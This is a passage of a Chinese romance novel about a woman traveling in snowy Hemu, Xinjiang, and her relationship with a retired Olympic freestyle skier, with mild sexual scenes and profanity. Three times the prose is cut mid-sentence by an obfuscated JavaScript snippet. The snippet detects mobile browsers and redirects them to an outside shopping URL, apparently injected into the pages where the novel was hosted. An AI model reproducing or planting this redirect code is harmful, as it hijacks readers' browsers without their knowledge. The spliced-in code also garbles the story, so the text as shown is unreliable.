黄杏子弯腰抓了一捧雪,撒手向远处扔,特别解压,像把烦恼都扔进虚无浩大的荒原里,消失得干干净净。她眯了眯眼,冲那边大喊“傻/逼”。 她的声音被不断削弱,最后隐匿在无边无际的雪原里。 然而车子外面待不了多久,手就被冻得发疼,黄杏子没一会儿就忍不了了,逃回车上开暖气。 新疆的冬天实在是太冷了,又干,随便一阵风都好像谁打了你一巴掌,牙齿不由自主咯吱咯吱响,路边遇到的小狐狸也瑟瑟发抖。 黄杏子提前找旅行社定了个当地的深度游玩小团,她人到那边的时候,女领队娜仁在家煮了火锅招待他们。 暖胃的火锅下肚,整个人仿佛活过来了一样,饭后娜仁带他们去给屋顶铲雪。 禾木的木屋大多是60度斜顶,可即便是这样,大雪过后屋顶的积雪厚度还能达到30厘米左右,持续暴雪过久甚至可能达到1米,于是铲雪成了禾木村民冬季里必须的一项劳动。 若是有老年病弱劳动力不足的家庭,邻里之间会互帮互助。这不,这些兴致冲冲的外来劳动力就被逮去干活了。 若是有一天偷懒,那是真会“塌房”。领队说他们村子里有一个脾气特别犟的老头儿,老伴早早没了儿女都不在身边,家里就他一个老人,村里的大家伙儿去帮忙,全部灰扑扑被赶了出来。 黄杏子好奇地问为什么,娜仁接着讲,他从前是村委会的干部,全村子里的老人就属他身子骨最硬朗,前年八月份懂时候生了一场大病,身子骨垮了。 但他不肯接受帮忙,坚持自己干活。去年冬天,天一冷身体就开始不利索,但是他不让我们帮忙嘛,有一天晚上下了很大一场雪,屋顶上的雪有一米厚。 我们去帮忙就被他大骂了一顿赶了出来,说话很难听的,大家伙儿都被气到了,没人想热脸贴冷屁就没人再管他。 隔壁的古丽看到那房子塌了的时候魂都吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816865|190930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没了,轰地一声声音老大了,还好人没事。后来才知道那犟种腿脚不舒服,躺在床上动不了,结果房子就那么塌了。 领队开玩笑说,从那以后没人敢犯懒,都可勤快了。 - 在新疆打雪对于这些从来没见过的游客来说,是一件极有意思的事。 禾木今年雪是真多,路边的雪快埋到腰了,能走到地方只有中间人工开辟出来的一条小道。 黄杏子抬眼远远眺望着挂着沉甸甸雪顶的木屋,厚厚的雪砖,掉下来感觉能砸死人。 打雪人抡起铁锹一锤,雪块断裂,屋顶的雪扑簌簌往下掉。但它一下断不干净,得打好几下,剩下的得爬到屋顶上去清,两脚一蹬,雪就滑下来了。 唯一的两名男性自愿挑起大梁在下面打雪,黄杏子和一个女生借着梯子往上爬,站在下面的女孩子给她们递来两把小铲子。 铲雪实在说不上是轻松的事儿,两个男生哼哧哼哧挥舞手臂,雪下不来的地方使了吃奶的劲儿,互相调侃对方说这个月健身房去了几次。 正干着活儿,头顶先是感觉什么东西砸了一下,下一秒脸上凉意铺天盖地往外冒,无一幸免。 “对不起对不起……”头顶传来两个女生的爆笑,边笑边说对不起。 漫天雪粉散去,两个“雪人”面面相觑,从对方脸上看到了大写的懵逼。 娜仁有个哥哥叫朝鲁,朝鲁是个很会玩的性子,家里放了不少稀奇古怪的玩雪装备,家里的活儿干完了他也跟了过来,招呼他们上屋顶跳雪。 他三两步利索地爬上屋顶,拉后面上来的人一把,做了个示范,站起身直直地往下跳,一个跟头扎了个猛子,大家看得胆战心惊。他在下面冲他们招手。 胆子大的一个女生紧跟着跳了下去,过了一会儿两个男生也怪叫一声一前一后跳下去,嚷嚷着“爽”。 黄杏子虽觉得好玩儿但也怕,手里牢牢抓着边沿,腿软得站不起来。 旁边女生投过来同病相怜的眼神,声音抖的同时夹杂着不明显的兴奋,“你怕吗?我、我好怕……” 黄杏子诚实道:“怕。” 女生往下望了一眼,连忙缩回来,“妈妈呀好高,感觉恐高症都要犯了……” 黄杏子偏过头挽住她的胳膊,“我们一起下去吧。” 女生点点头说:“好呀……啊———” 女生下意识反向抓住黄杏子的手,两个人双双顺着屋顶的坡度往下滑,大片的积雪也跟着滑落。 还没来得及反应,身体被松软雪被包围,呼吸被冰雪气息覆盖,人仰马翻,栽出了两个连体雪洞。 黄杏子费了老大劲儿从雪堆里爬出来,露在帽子外面的头发冻成一缕一缕,鼻子红彤彤,围巾帽子上沾满了雪珠子,脚下一滑,趴在雪地里打了个滚,仰面哈哈大笑。 那姑娘呆呆愣愣的,扑腾了好几下露出个头,脸上全是雪,伸出一只手挥了挥,“快,拉我一下!” 娜仁伸手拉她们从雪坑里出来,俩姑娘看了看对方的模样直笑。 “你俩别在底下玩儿,别给人砸到了。”娜仁赶着两人上屋顶。 第二次跳雪胆子就大了许多,屋檐蹲了一排青蛙,朝鲁一声令下他们就“唰唰唰”往下跳。 不知道多少次后发展成一项炫技比拼,姿态千奇百态,前跳的后跳的,翻跟头转圈儿的,鲤鱼扎洞式的,还有双人拥抱式的,活像人类返祖现场。 朝鲁在斜坡上铲了条雪道,娜仁从仓库拖了一串雪胎出来。 黄杏子和刚认识的朋友还在拍照,一扭头就看见一声扭曲的尖叫还有男生尚未收回去的脚,受害者四仰八叉连同雪胎躺在地上,发出一串优美的国粹。 无孔不钻的寒冷与脸颊面对面相撞,下去之后却只有痛快的爽感,喉间不自觉发出兴奋的呼喊,黄杏子一口气玩了个痛快。 回到院子里饭菜的香气丝丝缕缕飘进鼻子,炊烟袅袅,娜仁和朝鲁的阿爸送了一桶热腾腾的羊汤过来。 傍晚大家围桌而坐,篝火点燃,天气虽冷,熄不灭热乎乎的心。 娜仁家有条大黄狗,蹲在篝火旁边,会随着音乐摇尾巴打节拍。娜仁说它十一岁,已经是一条老狗了,他们家定居下来开民宿前,它是一条放牧犬。 黄杏子给它拍照,它聪明得不像话,身后尾巴狂摇,咧开嘴像是在微笑。 晚上吃完饭在娜仁家不大的客厅里面玩剧本杀,天南海北的聊,这一幕好像又回到了在青旅的日子,让黄杏子格外心安。 娜仁给他们端来羊奶,催促他们早点回去休息,明天一早要骑马去看日照金山。 在禾木的生活节奏很慢,每天早上伴着天亮醒来,拉开窗帘,窗外就是静谧安宁的雪景,偶尔还能听到图瓦人的马蹄发出的哒哒声以及狐狸或者雪兔留下的脚印。 她的自媒体事业也在一步一步走上正轨,已经突破千粉了。 10. 禾木 肖玉理要来新疆了。 这个消息依旧是青旅老板告诉他的。从雪场回来蔺忱的心情就差得要命,手机上和黄杏子的聊天框里的红色感叹号一事未熄,又得知肖玉理要来找他了。 见男人情绪低迷,青旅老板拍拍他的肩膀,“放松,放松,这事儿没那么严重。” “我没事。”蔺忱说,“F123的3号床什么时候退房的?” 青旅老板挠了挠头不明所以地“啊?”了一声,让前台帮忙查一下,“你要这么问我我也不知道,我没记错的话那是女生房间啊,是那个你带去滑雪的姑娘?你喜欢人家啊?” “……嗯。”蔺忱眉目沉沉,“她有和你说过她去哪儿吗?” “那我真不知道。”青旅老板偏头看了一眼电脑,“查到了,退房记录在1月21号早上7点。” 蔺忱颔首,“好的,我知道了。” 蔺忱打开和肖玉理的微信聊天框,问他什么时候的飞机。 肖玉理发了航班截图过来,蔺忱说那你到时候直接来禾木找我,路费我报销。过了一会儿,肖玉理发来“好的”两个字。 两人的对话客套得跟陌生人一样,蔺忱头疼得揉了揉额角,吐出一口浊气,到吧台点了杯酒喝。 禾木村夜里下了场暴雪,封山了。 木门差点儿被高达一米多的积雪堵住,房顶更是不用说,村民们只得冒着雪起来铲雪,蔺忱给肖玉理发微信让他暂住布尔津,禾木封山了。 早上一醒来村里异常忙碌,铲雪车一大早就在干活儿,民俗的老板们需要立即把屋顶的积雪清掉,防止屋顶坍塌。 蔺忱力气大,干活利索,自告奋勇帮老板清雪,前前后后邻里之间都帮忙清了一遍,热情的姑娘家要留他吃饭,蔺忱笑着拒绝,说小事儿不用谢。 这边雪清得差不多了,他便出门绕着村子随处逛逛。 雪后的世界一片苍白,木屋之间被一堵堵雪墙包围,屋檐冰凌断裂,传来金属与冰碰撞清脆的声响,河流结了冰,只有一部分残余的流水,飘散着白色的雾气。 天上雪还在下,蔺忱仰头,雪花飘落在睫毛上。 禾木难得得热闹,到处都是干活的身影。 不远处一家民宿的住客站在车上玩上了花样跳雪,年轻的男男女女排着队轮流爬上车顶摔进快能没过头顶的雪被,蔺忱眯着眼瞥了眼,啧,还挺有闲情逸致的。 “能不能换个方向啊卧槽!这真不行啊……行行好啊大姐们!” “不行不行……愿赌服输哦!” “叫谁大姐呢,你能不能学学人家大尧!”嬉笑声中,女生声音响亮,“摔不死的,真的,都到不了你脖子,我拿我母胎单生二十六年的桃花运做担保!” 她似笑非笑叉着腰,“要我们帮忙抬吗?” 蔺忱脚步倏然顿住,目光平静地转向声源,定定地注视着,几天前一声不吭把他删了玩消失的姑娘,生活过得有滋有味。 蔺忱觉得自己被她当狗耍了。 黄杏子抬手揭去睫毛上的冰晶,看见那位兄台哆哆嗦嗦耍了个滑头,大家意思意思也就放过他了。 雪不下了,天气开始放晴,黄杏子想回去拿相机,正想和玩得挺好的朋友说一声,问她趁这会儿空闲要不要一起回房间拿东西。 女生身边站了个高大挺拔的男人,两人手里都拿着手机说着什么,吃瓜雷达瞬间响起,黄杏子唇角一勾顿时觉悟,这妮子,这是被要微信了啊。 她半眯着眼出于好奇从头到脚打量了一番,男人似有察觉地望过来,目光交汇的那一瞬间,黄杏子还以为自己看错了人。 蔺忱?他怎么会在这儿! 她不知道蔺忱是来这里做什么的,但直觉告诉她,她要是现在不走,等待她的应该不是什么好事。 心跳在胸腔内不受控地加快,也不知道他发现她删了他微信的事儿没有,黄杏子忍不住心虚。 然而蔺忱只有一句话,“把我微信好友申请通过。”他声音太平静了,没有一点波澜起伏,黄杏子只能哑然地“哦”了一声,她能怎么说呢,说对不起我把你删了吗。 他走得太过果断,黄杏子目光涣散地愣了会儿,才从储物间里出来,攥在手里的手机振了下,是蔺忱发来的消息。 不死鸟【晚上来找我,我需要一个解释】 黄杏子【在哪里?】 不死鸟【位置】 黄杏子【好】 蔺忱不知道自己在较什么劲儿,和谁较劲儿,从得知那天晚上就开始心不在焉,睡着了梦里都是最后一晚他们亲吻的回忆。 黄杏子到底有没有点良心,嘴里说的话都是摆设吗?耍完流氓就跑路,嘴里到底有没有一句实话。就是床伴也得好聚好散吧,她这是什么意思? 把他当召之即来挥之即去的鸭吗? - 今天是他们聚在一起的最后一天,明天早上之后这个团就散了,傍晚吃过饭,娜仁组织大家去参加村里组织的篝火晚会。 “你不去啊,身体不舒服吗?”娜仁关心道。 “不是,我没事。”黄杏子垂下眸笑笑,“是我朋友来禾木了。” “哦好。”娜仁点点头,“那你注意安全,早点回来。” 循着蔺忱给的定位找到小木屋的位置敲门进去,蔺忱的房间在二楼,黄杏子给他发消息说她到了,没过一会儿房门打开,水汽扑面而来。 手腕上力道一带,她就被堵在门和肉墙之间。 “你……你洗完澡怎么不穿衣服!”想过蔺忱会生气,但没想到一开始就是这种不对劲的姿势,黄杏子被结结实实吓了一跳,别开脸,鼻子有些热。 蔺忱扯了扯唇,讽刺道:“你来男人房间,没料到有这种场面?” 黄杏子撇了撇唇,他在阴阳怪气什么啊,脑袋一歪,即刻就想从他胳膊底下钻出去,这种姿势太糟糕了。 “别走。”那条胳膊重新横在她面前,蔺忱不让她走,似是妥协,“话说完了再走。” “你先把衣服穿上。”她怕她一个色性大发又忍不住干出什么荒唐事儿。 蔺忱拿起一条衣服套上,给屋里点上香薰,忍住想要把她摁床上打一顿的冲动,坐到床边,“这样,能谈了吗?” 黄杏子点点头拿出谈话的正式来,正襟危坐,“如果你想问我为什么不辞而别,因为我那天早上走得早,要赶路,没来得及和你说,我没有这个习惯全部通知一遍。” “为什么把我删了?”蔺忱语气不明。 “因为我没打算再联系你。”黄杏子坦言,“两个星期前的那个意外,如果你介意,我跟你说声对不起,之前说欠你一个补偿,你提要求,我现在还。” 黄杏子是个重感情的人,尤其是相处出情谊来最终必定要分离的人,她会下意识用锋利理智的言语把自己包裹起来,以免节外生枝。 但实际上她挺紧张的,说话的声音都有些抖,然而另一边气在头上的蔺忱根本没听不出来。 蔺忱讨厌她冷静的语气,那衬得他的失控烦躁的心情一文不值。她一句不打算再联系就概括了删好友的动机,还真是能收能放,不过蔺忱不打算再问下去了。 “好。”他垂眸哂笑,手撑在她腰侧靠近,迫使她抬头后仰,“那黄小姐就陪我睡一觉吧,就事论事。” 男人的声音近在耳畔,带着某种侵略性,黄杏子睫毛狠狠颤了颤,耳垂传来粘稠的温热,蔺忱咬住了她的耳垂。 遵循本心来说,她根本拒绝不了。她有那么一瞬间的气愤想一巴掌打醒他,可她心软了,就凭这一瞬间黄杏子就明白,他们两个都动了不该动的心思。 上次也是这么纵容自己的,你完了黄杏子,说好了玩玩儿怎么还动心了呢。 黄杏子整张脸都红透了,她不是来道歉解释的吗?怎么发展成这个样子了。 “要还就一次性还干净。”蔺忱慢条斯理帮她脱着外套,“同意吗?” 黄杏子浑身上下耳朵最敏感,含含糊糊回应了一声,稍稍躲开片刻,唇就被堵住。 不过一会儿,半个身子倚到了床榻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816866|190930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边,蔺忱的拥抱又凶又急,仿若一个在风雪中寻到归处的旅人,他平常吃饭也没那么着急啊,黄杏子在心里骂骂咧咧。 有时候亲得重些,女人就咬他,蔺忱也难办。 彼此都不想让对方好过,憋着一股气性,蔺忱只能边亲边哄。 黄杏子好像被浸泡在了40度的水里,热得恍惚,“你到底多久没有……” 蔺忱有些委屈,“这是第二次。” “……”黄杏子只想说一句六,默默扭过头避开他的视线。 许久过后,两人难得安静地依偎在一起,黄杏子眼睛都不想睁开,背抵着他胸膛。 蔺忱牙齿在她的锁骨上磨了磨,用力咬了一下,“银杏叶……你特么真的挺没良心的。” 黄杏子低声喃喃:“彼此彼此,你也没好到哪里去。”好在是冬季,衣服能遮挡痕迹,要不然走到外面真要回头率百分百。 难得的温存,洗完澡后两人相拥而眠,心情好的时候黄杏子话特别多,说她前公司的老板有多资本家,项目上的客户有多难缠,讲她上大学时候的趣事。 这一夜他们不知疲倦地聊了很多,躺在温暖的被窝里,身体和精神上都得到了极大的充足。 成年人之间的感情牵扯有时候不必说得太明白,一旦意见达成一致,心照不宣是最好的状态。 黄杏子承认蔺忱确实是有那么点魅力在的,但感情不是童话,与其到时候把双方都困在里面,不如现在讲清楚。 黄杏子玩着他的头发,仰头看天花板,“我不会一直留在这里,新疆待够了应该会往青海走。” 蔺忱笑笑,“那边风景还不错,我之前参加比赛的时候有去过。” “青海有什么好吃的?”她问。 蔺忱想了想回答:“西北这一片都差不多,牛羊肉、火锅、奶制品,那边的牦牛还不错,筋道!” 大晚上真不该谈美食的,今天晚饭过后消耗过载,肚子空空,叽里咕噜叫起来,很响亮的一声。 蔺忱忍俊不禁,没笑出声,但那模样瞧着特别欠揍。还笑,这特么是拜谁所赐啊。 “我想吃夜宵。”黄杏子踢他一脚,没得逞,脚踝被抓住了。 蔺忱揶揄道:“这里可没外卖可以送。” “楼下有厨房。”黄杏子算盘打得好,她上来时看过了,麻雀虽小五脏俱全,还有个小冰箱,这小木屋贵是贵了点儿,环境还是很不错的。 蔺忱坐起身双手举起作投降状,“先说好了,我做的东西能吃,不保证品质。” 黄杏子顿时喜笑颜开,笑嘻嘻主动献了一个吻,“不进医院,一切好说。” 她就算了吧,就不下毒药了,天赋完全是负的,不食物中毒就谢天谢地了。 “对了。”他这才记起来肖玉理这个“麻烦”,“我朋友明天过来,要处理点事情,你什么时候要走?” 黄杏子把腿舒舒服服架他身上,光明正大耍威风,“原本打算今天再住一天明天就走的,你收留我的话我就勉为其难再留几天。” 蔺忱倾身压住她,趁她不注意又吻了几下,“那就这么说定了。” 黄杏子挣扎着推开他,见他又要亲过来,甩了一巴掌在他脸侧,偏开脸抱怨了声“你太重了”,“快去做饭!” 她那一巴掌根本就没用力,蔺忱慢吞吞起身,喜滋滋嘟囔了声“不疼”。 黄杏子睨他一眼,抬手摸了摸有些肿起来的唇,感觉鼻子里忽然有一阵热流涌出,她连忙用手捂住,骂了一声“艹”,碰了碰蔺忱,“快!给我拿张纸!” 蔺忱愣了下,连忙从床边的纸巾盒里扯了几张出来给她,“怎么了?流鼻血了?” “是不是我刚才……”他顿时愧疚,急忙又扯了一大把塞黄杏子手里。 黄杏子差点爆粗口,抢过话头,“我上火,估计是来新疆之后肉吃太多,蔬菜吃少了,改天得去药店买点维生素B吃。” 蔺忱在她腰后垫了个枕头,让她头仰高,“你别说话了,就在这儿休息,我下去给你煮东西。” 11. 禾木 第二天早上天晴,经过一天的努力禾木终于重新开始通车,因暴雪耽搁的游客陆续驱车进村。 肖玉理抵达禾木的时间是中午,蔺忱发消息问他在哪儿,肖玉理发了张图片过来。 蔺忱对这儿也不熟悉,光靠一张照片辨别不出来他这是在哪儿,又问他看到售票站了没有,肖玉理又发了一张另一个角度的照片。 一旁看着的黄杏子乐了,“他这是跟你生闷气呢!这地方我有印象,走吧,我带你去。” 蔺忱拧着的眉舒展了些许,伸手拉住她,摩挲了下,“腰还疼不疼?” 这下轮到黄杏子皱眉,“你说呢,一会儿我不陪你了,我要回去睡回笼觉,困死了。” “好。”蔺忱笑笑,“等我把事情解决完,中午去吃你想吃的那家的狗鱼。” 两人赶到的时候,肖玉理就倚在车边被一个卖蜂蜜的老妪缠上,他心不在焉听着老奶奶说了半天,瞥了眼她怀里抱着的蜂蜜罐,松口要了两罐。 见到远处走来的蔺忱,默不作声收了起来,“钱转过去了。” 老妪见钱眼笑,“欸好。” 东西没地方藏,还是被看见了,蔺忱扫了一眼,“买贵了。” 爹的死嘴,会不会讲话,肖玉理没忍住冲他翻了个白眼,“要你管。” 第一句对话就这么糟糕,肖玉理简直想扇自己一巴掌,怎么这么没气势。 他来到这里之前就模拟了无数遍和蔺忱重逢的景象,他会用最刻薄的语言骂他,最好是让他还不了嘴,愧疚得要死。 还想和他打一架,打得鼻青脸肿跪在地上求饶,这忘恩负义的家伙根本没把他当哥们儿,打他一顿算轻的。 而现在站在那人面前的那个肖玉理,一股火气从心窝里涌上来猛地爆炸,但好像又没有那个冲动了,一句话也说不出来。 两人之间气氛凝固,蔺忱率先打断,“走吧,我带你去办入住,先把东西放掉。” 肖玉理的房间就在隔壁,蔺忱从民宿老板手里接过房卡递给他,“我房间就在隔壁。” “知道了。”肖玉理没等他说完就应了一声,语气有些冲,说完便陷入沉默。 蔺忱默然,见他安置好行李,说,“我们去外面。” 屋外两人面对面站立静默,蔺忱平时挺会说话,这个时候又跟哑巴一样,蔺忱觉得无论这个时候他提出怎样过分的想法他都会答应。 “当年的事……对不起,是我太懦弱。”事情都过去四年了,蔺忱没有办法定论那个时候的自己,即便他也不能替那个时候的自己和肖玉理道歉。 肖玉理眼睛都要红了,他他妈的在说什么啊,当年的国家队里就属他最刻苦,那个时候的蔺忱是肖玉理最尊敬的竞争对手,他没有对不起任何人。 蔺忱没有注意到他的异常,他叹了口气,“你打我,我绝不还手。” 肖玉理蓦地愣住,“你他妈傻逼吧。” 共事三年之久,蔺忱了解他的性格,二话不说率先打了他一拳,肖玉理果断出手反击,两个大男人纠缠到一起打了起来,拳拳到肉,丝毫没有留手。 他们之间的默契就是打一架能解决几乎所有的问题,痛痛快快发泄完了,旧事就翻篇了。 打完架坐在地上喘气,半晌蔺忱站起身,见状肖玉理也爬起来,伸手握成拳头和他碰了一下。 黄杏子下来的时候完完全全愣了一下,怎么回事,谈着谈着打起来了? 两人脸上都有些挂彩,但气氛确实说不上来的和谐,黄杏子摸不清现在是什么情况,走过去站在蔺忱身边,“我去问老板讨药膏,你们继续?” 蔺忱:…… 肖玉理:…… “一起去。”蔺忱连忙抓住她的手,“一点个人恩怨,已经解决了。” 民宿老板家里正好有两管跌打药膏,回到房间,黄杏子把药膏扔给他上药,瞌睡都不打了,侧躺在床上撑着手臂看。 蔺忱脱了上衣她才看清楚他身上有多少轻轻重重的淤青,她看着都疼,明明他那个朋友看着还比他瘦弱一些,蔺忱那么个傻大个儿上赶着给他打了? 不至于吧,多喜欢被打。 黄杏子咝咝吸着凉气,委婉问道:“你那个朋友下手这么狠啊?” 蔺忱专心上药,闻言手上动作顿了下,“他身上也和我差不多。” 黄杏子“哦”了一声就不说话了,眼睛却直勾勾盯着他的背肌,把蔺忱搞得都有些不自在。她还有理,大言不惭地说身材那么好不给人看多没意思。 蔺忱实在没辙了,“那你过来帮我后背上个药吧,我够不着。” 黄杏子哈哈大笑,接住他抛过来的药膏,伸手揪住他的耳朵拨了拨。她像是发现了什么开关,他一害羞耳朵就会红,皮肤白看得清楚,撩拨几下红得更厉害了。 黄杏子笑得肚子疼,想扶他的肩膀停下来,蔺忱突然惨叫一声,面容痛苦扭曲。 黄杏子连连道歉,她没注意,药膏管的尖角不小心戳到淤青了,“没事吧。” 蔺忱是真疼,“疼死我算了。” 黄杏子嘻嘻笑着,“你要疼死了,我就拿着你的房卡独享一室了。” 蔺忱指向门外,“你出去。”她在这里,他不是被疼死就是被气死,这女人没点良心。 “那不行。”黄杏子膝盖跪起在床上,挤出一点抹在指尖,摇头晃脑,“我还要给你涂药呢。” 指尖抹了药膏凉凉的,在淤青处打转,黄杏子力道把控得正好,时不时抬头问:“服务得如何,少爷?” 蔺忱埋头憋笑,“力道还可以,勉勉强强吧。” 他摸过随手放在床边的手机,想问问肖玉理那边如何了,需不需要帮忙,谁知肖玉理率先发来了消息。 肖玉理【那个,你女朋友啊?】 “好了。”黄杏子踉跄着起身,揉了揉跪疼了的膝盖,“没别的地方漏涂了吧。” 蔺忱回了句“没”,在对话框内回过去一个“嗯”。 肖玉理说不用,他自己能搞定,让他过来一趟拿个东西,蔺忱去了。 门甫一被打开,肖玉理收拾衣服的动作停下,拿下巴指了指茶几上那瓶包装熟悉的蜂蜜,“买贵了不想要了,送你。” 蔺忱愣了一下瞬间了然,用肩膀撞了下他的,像从前一样语气熟稔:“谢了兄弟。” - 中午是在一家鱼餐厅吃的,有了前车之鉴,黄杏子提前打电话预订了座位,他们穿过门口的等候长队,在所有人的注视下被服务员引导进去。 黄杏子这些天跟着娜仁吃,也吃出些门道来,菜单拿在手里唰唰唰勾了几个菜,翻面继续。她招手叫来服务员,语气老练,问完一些菜的概况,手一挥,“就这些吧,不够再加。” 蔺忱笑她装得好像买单的大款,黄杏子今天可豪气了,偷摸在桌底踩了他一脚,“行行好,看不起谁呢,今天整桌我都包了!” 蔺忱带头捧场:“黄总大气。” 黄杏子瞪他,让他少说点儿,“别贫。”有外人在,怪不好意思的。 这一餐是全鱼宴,什么爆炒狗鱼、清蒸稀鳞鲑、红烧五道黑,各种不同品种的冷水鱼,汤点了一个他们的招牌鱼羊鲜,肖玉理爱吃鱼,一高兴话痨属性毕露。 黄杏子指了指面前的菜,“你尝尝这个,清蒸的肉质特别鲜嫩!” 肖玉理的家乡没有清蒸的做法,嫌太清淡,嘴里吃起来没味道,似信非信尝了一口,想不到味道还不错,“真的还可以欸!” 不同于其他地方鱼的腥味,需要依靠调料盖住,这里鱼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816867|190930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肉本身的鲜味就是这道菜最好的调味品。 他俩聊得很欢,从桌上的菜聊到她的裸辞旅游路线规划。 蔺忱嫌烦,夹了一大筷子鱼进她碗里,“别聊了,快吃,菜都要凉了。” 饭桌上他们聊最近的事儿,也没避着黄杏子,她从中摘取了一些她从来不知晓的关于他的过去,就是从那个时候,黄杏子惊觉,她在无意识地开始想要了解蔺忱。 黄杏子不关注这方面的体育新闻,林林总总听了一耳朵,脑中自动进行总结归纳。 蔺忱从前是国家队的滑雪运动员,24岁训练的时候因为一次意外韧带严重拉伤,被迫退役来新疆休养,一待就是三年。 “三年时间到了,那畜生去年就被放出来了,听说出来之后找不到工作不知道在哪个犄角旮旯当混子,想来找那老畜牲,老东西根本不鸟他。” “老畜牲是谁?”黄杏子忍不住问。 肖玉理随口回应:“我教练,以前也是他教练。” “你们关系不好吗?” 肖玉理简明扼要,“他脑子有病。” 肖玉理嘴上没个把门儿,一说话就刹不住车,蔺忱懒洋洋撑着黄杏子的椅背,出声打断:“行了,过去的事情就别聊了。” 全部给他抖出来,他脸还要不要了? 肖玉理特别听话,无缝衔接转移了话题。话题是断了,但架不住她脑子转得快,疑惑的种子越埋越深。 但肖玉理什么德行,又不是真听话,他多聪明啊,猜得出他们走不长远,对于她这个不知道从哪儿冒出来的女朋友持不支持的态度。 蔺忱去解决内急,肖玉理有意把刚才没说完的话题带了回来。 “蔺忱训练的时候鞋子被动了手脚,从跳台下摔下来,当初他左腿差点废了,身体动不了,床上躺了三个月,医生说他做不了高难度动作了,也就是说他的比赛生涯结束了。” 肖玉理眼神很冷,“事后我们找证据报警,动手的人是他师弟,抓进去三年,那老畜生包庇的。” 事情已经过去了三年,他仍记得蔺忱重重摔下来躺在地上的那副模样,满脸都是血,肖玉理从他眼里清楚地看到绝望,他却还想站起来继续滑。 蔺忱多热爱滑雪啊,肖玉理不敢想象他那段时间到底有多痛苦。 “这是……什么时候的事?”黄杏子心在颤。 “2019年。” 肖玉理唇角向上勾了一下,“想看照片吗?那个时候的蔺忱。” “不了。”面前的姑娘声音干涩,摇了摇头。 腿上手机屏幕停留在百度百科页,黄杏子几乎能确信,他就是那个蔺忱。 养精蓄锐13年,23岁在平昌冬奥会横空出世一举拿下自由式滑雪项目金牌,却在24岁那年受伤被迫宣布退役的那个蔺忱。 他的职业生涯原本应该光明坦荡,站在领奖台上受人景仰的,可是为什么连一年都不肯给,就被那些心思歹毒的败类毁了。 心脏仿佛被人裹住了一样,刺刺地疼,陌生的情绪细细密密把她淹没,黄杏子感觉自己快要失去思考的能力。蔺忱呢,他怎么还没回来。 黄杏子还记得在雪场那回,有人偷偷摸摸骂他是不要命的疯子,眼底却藏着一闪而过的嫉妒。她那个时候就在疑惑,蔺忱怎么会甘愿做一个小小的滑雪教练呢。不是不想。 肖玉理护犊子,所以说话没讲情面,“他这个人重情重义,如果只是玩玩,我劝你早点离开他。别给了希望,不给结果。” 黄杏子明白他的意思,但嘴上无论如何是不肯吃亏的,她双手抱胸,“我和他之间的事,还轮不到你来置喙。” 不远处蔺忱的身影出现在视野里,她笑了笑,“不过谢谢你告诉我这些,蔺忱没你想得那么脆弱。” 12. 禾木 然而这一天她的心情还是受到了不小的影响,白天郁郁寡欢提不起兴趣,晚上回到房间洗完澡接吻办事儿的时候,她甚至有些过分的热情。 蔺忱主动,她更主动,带着一股罕见的温柔劲儿,渴望亲近。 蔺忱明显感受到她的不对劲,拿手背去抵她的额头,“怎么了?有哪里不舒服吗?”温度正常,也没发烧啊。 黄杏子点点自己胸口的位置,“这里不舒服。” 蔺忱心里一咯噔,“心脏疼?” 她没正面回答,指尖轻轻放在他脊背上的凸凹处,摸了摸,那里是一处二十公分左右的疤痕。陈年的疤痕摸上去已经没有那么明显了,但看上去还是有些狰狞。 她声音清清淡淡的,“这道疤很疼吗?” 她问的是这道疤很疼吗,不是这道疤是怎么来的。 蔺忱下意识去看她的眼神,心一颤,跌入谷底,“肖玉理都告诉你了?” 黄杏子哼哼两声,哂笑,“我骗他话的,傻不愣登的。” “不疼。”蔺忱没敢去看她脸上的表情,怕从她眼里看到同情,生理上的火气尚未消退,还想继续,“他说什么你就信什么啊,你傻不傻。” “他没必要骗我。”黄杏子制止他的动作。 蔺忱率先败下阵来,狼狈道:“事情已经过去很多年了,你别用这种眼神看我,我不需要任何人的可怜。” “以我们之间的关系我确实没必要可怜你,之后有的是人来温暖你,我不过是以一个外人的角度感慨一下,世界上怎么有这样的败类存在。” 蔺忱周围的气息沉了下来,黄杏子说完这话马上就后悔了。 黄杏子也不知道她这是怎么了,情绪莫名就失去了掌控,她明明只是在替24岁的蔺忱打抱不平。 “去洗澡。”他声音冷淡。 事情发展成这样,蔺忱也没心情做下去了,扯了两张纸巾给她清理干净粘得到处都是的水液,自己慢条斯理把衣服裤子套上。 黄杏子没拒绝,他们各自都需要冷静一下,弄清楚这段关系中两人所处的位置。 